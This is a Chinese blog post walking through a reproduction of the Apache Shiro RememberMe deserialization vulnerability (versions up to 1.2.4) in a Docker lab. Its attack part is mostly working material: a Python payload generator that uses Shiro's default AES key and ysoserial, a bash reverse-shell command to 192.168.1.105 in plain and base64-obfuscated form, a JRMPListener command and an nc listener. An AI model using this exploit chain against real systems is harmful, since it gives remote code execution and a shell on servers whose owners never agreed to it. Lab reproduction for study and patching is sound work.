shiro RememberMe反序列化


title: shiro RememberMe反序列化
date: 2020-04-02 14:24:49
tags:

  • 漏洞复现
  • 反序列化
    categories: 漏洞复现

toc: true

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。它编号为550的 issue 中爆出了严重的 Java 反序列化漏洞。

shiro RememberMe反序列化

参考:

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。它编号为550的 issue 中爆出了严重的 Java 反序列化漏洞。

影响版本

Apache Shiro <=1.2.4

环境搭建

  • Docker
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

准备条件

Payload生成脚本

  • 如果缺少模块直接PIP安装即可。python2 shiro.py host:port1
# python2
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
# No module named Crypto.Cipher,请百度/。。。
 
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    print "rememberMe={0}".format(payload.decode())

反弹脚本

bash -i >& /dev/tcp/192.168.1.105/9999 0>&1

Ysoserial工具

  • 下载工具
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests # 如果执行报错,请先检查JAVA版本。ysoserial下载目录pom.xml
# 检查该处版本与自己JAVA版本一致
<!-- maximize compatibility -->
    <source>1.8</source>
    <target>1.8</target>

# 生成的工具在target/目录下ysoserial-0.0.6-SNAPSHOT-all.jar文件

复现

第一步

  • 使用shirt.py脚本生成Payload。
π ~/Desktop/tp_tools/POC ❯ python shiro.py 192.168.1.105:3333
rememberMe=rHxvtUa4SmSR1qg4iLCPtHl7Xgn2Th81yXDL9YhkdQ96bwu/Ej/tIHCcUoiuqaRgv7+BrJn+pOnAmmxdE7eCXTB/m1hEDGesMy2WRntzd1u0WuDSO7VlgCs1/HlyuhUgLULdYY7E+LYrnI3D8ysJWBbVcixNaQky36WYz1DPcQpB/x2ntf8UTWHQ4lHpKbM51EjkKH2WPSil9aXxpq0eJYc2dH2kznP+IcGZJ/VzyT75lvmlyhLVZpUwIbaXj1fzy1Z+ywmeHg4yEqYZWOyrFqoDGxdsvEuQZDa4P4njLo7zjWYA9udX9LFCXyHiUShweAZLPTCEvArwYj61UxQpHuKN1YBGVtGz2bmxYIyYiJdFvE4vNUjU4ibK6WhAo5nrkEQ2w45JWc5UUpuKFGMcFg==
  • 在线生成反弹脚本
bash -i >& /dev/tcp/192.168.1.105/9999 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA1Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

第二步

  • 使用ysoserial中JRMP监听模块,监听3333端口注意这里的端口是刚才生成rememberMe值的端口。再加上生成的base64编码脚本。
 π ~/Desktop/tp_tools/POC ❯ java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA1Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
  • 开启监听
nc -lvvp 9999

第三步

  • 访问本地80端口(Docker已经启动了)。勾选Remember Me选项,登录系统。我这里截取的是点击logout(参考别人的无法抓到,,即便是自己手动添加不起作用,无法反弹。)
  • 将第一步生成的Remember MePayload替换到截取的请求包中。发送即可。

所有原创文章采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。
您可以自由的转载和修改,但请务必注明文章来源并且不可用于商业目的。
本站部分内容收集于互联网,如果有侵权内容、不妥之处,请联系我们删除。敬请谅解!

评论已关闭

很多东西宁缺毋滥,流星的光芒短暂而灼热闪耀。

让你变得更好的那个人,往往是你觉得很难与之相处的那个人。—— by 小宇

觉得自己做的到和不做的到,其实只在一念之间。

路在自己脚下,没有人可以决定我的方向。

你的选择是做或不做,但不做就永远不会有机会。

凡事顺其自然,遇事处于泰然,得意之时淡然,失意之时坦然,艰辛曲折必然,历尽沧桑悟然。